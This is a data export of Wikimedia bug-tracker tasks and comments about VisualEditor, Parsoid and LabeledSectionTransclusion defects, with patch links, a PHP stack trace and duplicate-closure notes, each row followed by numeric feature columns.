+191717,VisualEditor: Create a link at the beginning of the document throws rangy error,Fix in gerrit 37603,,,1354931366,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jvbmuzupmyildaswp3ax,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+44764,"VisualEditor: Pre-parsed messages (minoredit, watchthis) should be in user language instead site language","
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1354771560,1354832652.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-75c273bypsftlyrbr3cc,task_description,resolved,True,c1,0,True,False,True,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+187052,"VisualEditor: Pre-parsed messages (minoredit, watchthis) should be in user language instead site language",Merged.,,,1354832652,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-75c273bypsftlyrbr3cc,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+187047,"VisualEditor: Pre-parsed messages (minoredit, watchthis) should be in user language instead site language",Change-Id: I84fee641162cdeed290092e56fb0e1d2562d833d,,,1354771693,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-75c273bypsftlyrbr3cc,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+44670,VisualEditor: ext.visualEditor.specialMessages module cache invalidation broken,"The VisualEditorMessagesModule class does not implement a ::getModifiedTime() method, and the default falls back to timestamp 1 (Thu Jan 01 1970 00:00:01), which, together with the max() with global MediaWiki Epoch is stuck on Wikimedia servers on 20120908T000000Z[1].
+
+
+> > mw.loader.getVersion('ext.visualEditor.specialMessages')
+> < ""20120908T000000Z""
+
+
+https://gerrit.wikimedia.org/r/gitweb?p=operations/mediawiki-config.git;a=blob;f=wmf-config/CommonSettings.php;h=8481e9b30130288b187cac5ebd7a6993320c91c4;hb=HEAD#l1347
+
+Assigning to self, being worked on. Filing as reminder and as future reference.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1354596300,1354654432.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-vr2jeooanda24ls5knww,task_description,resolved,True,c1,0,True,False,True,-30,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+181694,VisualEditor: ext.visualEditor.specialMessages module cache invalidation broken,Now merged into master.,,,1354654432,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vr2jeooanda24ls5knww,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+181687,VisualEditor: ext.visualEditor.specialMessages module cache invalidation broken,Change-Id: I7f26b47e9467e850c08b9c217c4f1098590de109,,,1354607956,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vr2jeooanda24ls5knww,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+44456,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"Fatal error:  Call to undefined method Title::getRedirectTarget() in /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php on line 305
+
+No stack trace currently as it seems the fatal log is empty...
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1353963360,1353972863.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-yjkqv35zcxvtirgx56ds,task_description,resolved,True,c1,0,False,False,True,-31,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+194167,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"I added tests in https://gerrit.wikimedia.org/r/#/c/35388/, which should catch future regressions.",,,1354028484,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+194165,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"It helps when I actually read the error message, hence the first folic.
+
+Said method can return null, though whether it will for your use case... So it shouldn't do any harm at least",,,1354015514,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,1,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,0
+194161,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"Thanks for fixing this, Sam (also for the wfProfileOuts).
+
+Apparently this was not caught by a parser test, so I'll create some tests for #REDIRECT behavior.
+
+I'll also check whether the ""if ( $target )"" is redundant or not. In any case, it shouldn't do any harm keeping it there.",,,1354001228,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+194157,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),https://gerrit.wikimedia.org/r/#/c/35327/,,,1353972830,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+194150,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"Basic fix in https://gerrit.wikimedia.org/r/#/c/35316/
+
+Not sure if further work also needed",,,1353970599,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+194143,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"http://p.defau.lt/?hOOnMmL6voQcgnoX4_1Gpw
+
+[26-Nov-2012 22:14:15] Fatal error: Call to undefined method Title::getRedirectTarget() at /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php on line 305
+Server: mw11
+URL: http://[unknown-host]
+Backtrace:
+#0 /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php(305): LabeledSectionTransclusion->getWikiPageDom()
+#1 /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php(367): LabeledSectionTransclusion::getWikiPageDom(Object(Title), Array)
+#2 /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php(438): LabeledSectionTransclusion::setupPfunc12(Object(Parser), Object(PPTemplateFrame_DOM), Array, 'lst')
+#3 [internal function]: LabeledSectionTransclusion::pfuncIncludeObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
+#4 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3286): call_user_func_array(Array, Array)
+#5 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
+#6 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3452): PPFrame_DOM->expand(Object(PPNode_DOM))
+#7 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
+#8 /usr/local/apache/common-local/php-1.21wmf5/extensions/ParserFunctions/ParserFunctions_body.php(400): PPFrame_DOM->expand(Object(PPNode_DOM))
+#9 [internal function]: ExtParserFunctions::ifexistObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
+#10 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3286): call_user_func_array('ExtParserFuncti...', Array)
+#11 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
+#12 /usr/local/apache/common-local/php-1.21wmf5/extensions/ParserFunctions/ParserFunctions_body.php(400): PPFrame_DOM->expand(Object(PPNode_DOM))
+#13 [internal function]: ExtParserFunctions::ifexistObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
+#14 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3286): call_user_func_array('ExtParserFuncti...', Array)
+#15 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
+#16 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3452): PPFrame_DOM->expand(Object(PPNode_DOM))
+#17 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPFrame_DOM))
+#18 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3073): PPFrame_DOM->expand(Object(PPNode_DOM), 0)
+#19 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(1157): Parser->replaceVariables('The Wikimedia F...')
+#20 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(385): Parser->internalParse('The Wikimedia F...')
+#21 [internal function]: Parser->parse('The Wikimedia F...', Object(Title), Object(ParserOptions), true, true, NULL)
+#22 /usr/local/apache/common-local/php-1.21wmf5/includes/StubObject.php(79): call_user_func_array(Array, Array)
+#23 /usr/local/apache/common-local/php-1.21wmf5/includes/StubObject.php(99): StubObject->_call('parse', Array)
+#24 /usr/local/apache/common-local/php-1.21wmf5/includes/content/WikitextContent.php(290): StubObject->__call('parse', Array)
+#25 /usr/local/apache/common-local/php-1.21wmf5/includes/content/WikitextContent.php(290): StubObject->parse('The Wikimedia F...', Object(Title), Object(ParserOptions), true, true, NULL)
+#26 /usr/local/apache/common-local/php-1.21wmf5/includes/content/AbstractContent.php(234): WikitextContent->getParserOutput(Object(Title), NULL, NULL, false)
+#27 /usr/local/apache/common-local/php-1.21wmf5/includes/job/jobs/RefreshLinksJob.php(81): AbstractContent->getSecondaryDataUpdates(Object(Title), NULL, false)
+#28 /usr/local/apache/common-local/php-1.21wmf5/includes/job/jobs/RefreshLinksJob.php(193): RefreshLinksJob::runForTitleInternal(Object(Title), Object(Revision), 'RefreshLinksJob...')
+#29 /usr/local/apache/common-local/php-1.21wmf5/maintenance/runJobs.php(83): RefreshLinksJob2->run()
+#30 /usr/local/apache/common-local/php-1.21wmf5/maintenance/doMaintenance.php(110): RunJobs->execute()
+#31 /usr/local/apache/common-local/php-1.21wmf5/maintenance/runJobs.php(116): require_once('/usr/local/apac...')
+#32 /usr/local/apache/common-local/multiversion/MWScript.php(68): require_once('/usr/local/apac...')
+#33 {main}",,,1353970120,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1
+194137,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),Caused by https://gerrit.wikimedia.org/r/#/c/31330/,,,1353969954,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+194130,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"Seems to be causing:
+
+* Fatal error where directly on page: https://www.mediawiki.org/w/index.php?title=VisualEditor/Feedback&oldid=597441
+* Blank section where transcluded via a Template: https://www.mediawiki.org/w/index.php?title=VisualEditor&oldid=598709",,,1353969228,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,True,,,-31,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+44335,VisualEditor: Temporarily add IE to blacklist for December release as CE support is currently insufficient,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker",Needs Triage,90.0,1353529620,1353530010.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-drb6zxeswawnaqold54q,task_description,resolved,True,c1,0,True,False,True,-32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+186736,VisualEditor: Temporarily add IE to blacklist for December release as CE support is currently insufficient,https://gerrit.wikimedia.org/r/#/c/34584/,,,1353530010,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-drb6zxeswawnaqold54q,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+44123,VisualEditor: i18n for alien tooltip,"The tooltip on aliens (""Sorry, you can't edit this with the Visual Editor"" or whatever) should be i18ned.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1352940180,1353114667.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-qyxlhx72vvvsjxiz5mxk,task_description,resolved,True,c1,0,False,False,True,-33,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+199634,VisualEditor: i18n for alien tooltip,Fixed in gerrit 33851,,,1353113705,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qyxlhx72vvvsjxiz5mxk,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+199628,VisualEditor: i18n for alien tooltip,"Also it's VisualEditor not ""Visual Editor"". :-)",,,1352940362,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qyxlhx72vvvsjxiz5mxk,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+44120,VisualEditor: Change markers don't propagate when generated paragraphs are unwrapped,"When editing the text of a list item, a change marker is set on the paragraph, but that paragraph has .internal.generated=='wrapper', so it's unwrapped by the data->DOM converter. This unwrapping step destroys the change marker; instead, it should be merged into the list item.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1352938800,1353108588.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-gcvicv5c5il3dfwvq4z6,task_description,resolved,True,c1,0,False,False,True,-33,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+199486,VisualEditor: Change markers don't propagate when generated paragraphs are unwrapped,"
+
+*** This bug has been marked as a duplicate of bug 41947 ***",,,1353108588,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-gcvicv5c5il3dfwvq4z6,task_subcomment,,True,c1,0,False,,,-33,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+44111,[Regression] Parsoid now wrongly santising wikitext of tables,"See https://www.mediawiki.org/w/index.php?title=VisualEditor:Templates&diff=605499&oldid=605498 - previously this was edited without incident, but now we've switched from the 19 August build to the 12 November one, it's now changing the wikitext of this table.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1352931660,1352932611.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-btqaquo52pvsfg5ytjrc,task_description,resolved,True,c1,0,True,False,True,-33,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+199059,[Regression] Parsoid now wrongly santising wikitext of tables,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934046,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-btqaquo52pvsfg5ytjrc,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+199056,[Regression] Parsoid now wrongly santising wikitext of tables,"This is not a regression, and is already tracked. So closing as duplicate.
+
+*** This bug has been marked as a duplicate of bug 39564 ***",,,1352932611,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-btqaquo52pvsfg5ytjrc,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+199052,[Regression] Parsoid now wrongly santising wikitext of tables,"Are you sure this was edited without us introducing quotes before? Selective serialization is designed to handle this, but so far we have always normalized inter-attribute spacing and quoting.",,,1352931990,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-btqaquo52pvsfg5ytjrc,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0
+56802,"VisualEditor: In the save dialog, ""characters left"" is under the ""pending changes"" text","When saving some page using VisualEditor, ""characters left"" (e.g. 255) is under the text which comes from the Pending changes extension.
+
+I have a picture to explain more. It's taken from the Finnish Wikipedia where is the Pending changes extension.
+
+https://commons.wikimedia.org/wiki/File:To_explain_a_bug_with_VisualEditor_and_Pending_changes.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1380573780,1380833625.0,PHID-USER-6majuboi566q3ozbh27r,False,,False,PHID-TASK-i27oymi2g7hoildczlee,task_description,resolved,True,c1,3,False,False,False,13,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+270182,"VisualEditor: In the save dialog, ""characters left"" is under the ""pending changes"" text","Merging with bug 52175; this is happily already fixed in the re-written save dialog that will be coming shortly. Sorry for the disruption.
+
+*** This bug has been marked as a duplicate of bug 52175 ***",,,1380833625,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i27oymi2g7hoildczlee,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+270177,"VisualEditor: In the save dialog, ""characters left"" is under the ""pending changes"" text",Confirmed bug on de.wp.  Support for flagged revs was added on bug 49699.,,,1380619133,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-i27oymi2g7hoildczlee,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+56728,VisualEditor: Copying a heading's text doesn't copy its format (unless the entire node is copied),"From T56721 comment 2:
+
+> When I copy a portion of content beginning with a header, then paste it
+> elsewhere in the same document, everything is retained  /except/ the header.
+> However, if I begin before the header (the paragraph before the header, for
+> example) the header is retained.
+>
+> For example, copy everything from 'Start' to 'Finish' on this test page:
+> https://www.mediawiki.org/wiki/VisualEditor:Test1234567
+>
+> Everything is retained except the H2 formatting on 'Start'. See this
+> screenshot as an example too:
+> http://images.wikia.com/trevortest/images/5/54/Header_is_lost.png
+> {F16005520}
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1380325500,1381157444.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-l6lohkvjqdbjrls5sdjz,task_description,resolved,True,c1,3,True,False,False,12,,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+265880,VisualEditor: Copying a heading's text doesn't copy its format (unless the entire node is copied),"
+
+*** This bug has been marked as a duplicate of bug 50126 ***",,,1381157444,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-l6lohkvjqdbjrls5sdjz,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+56727,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Currently on MediaWiki.org, categories cannot be removed from the 'Page Settings' modal. This is true of new categories added and existing categories.
+
+https://www.mediawiki.org/wiki/VisualEditor:Test1234567?veaction=edit
+
+Inez says he's working on a fix now.
+
+--------------------------
+**Version**: unspecified
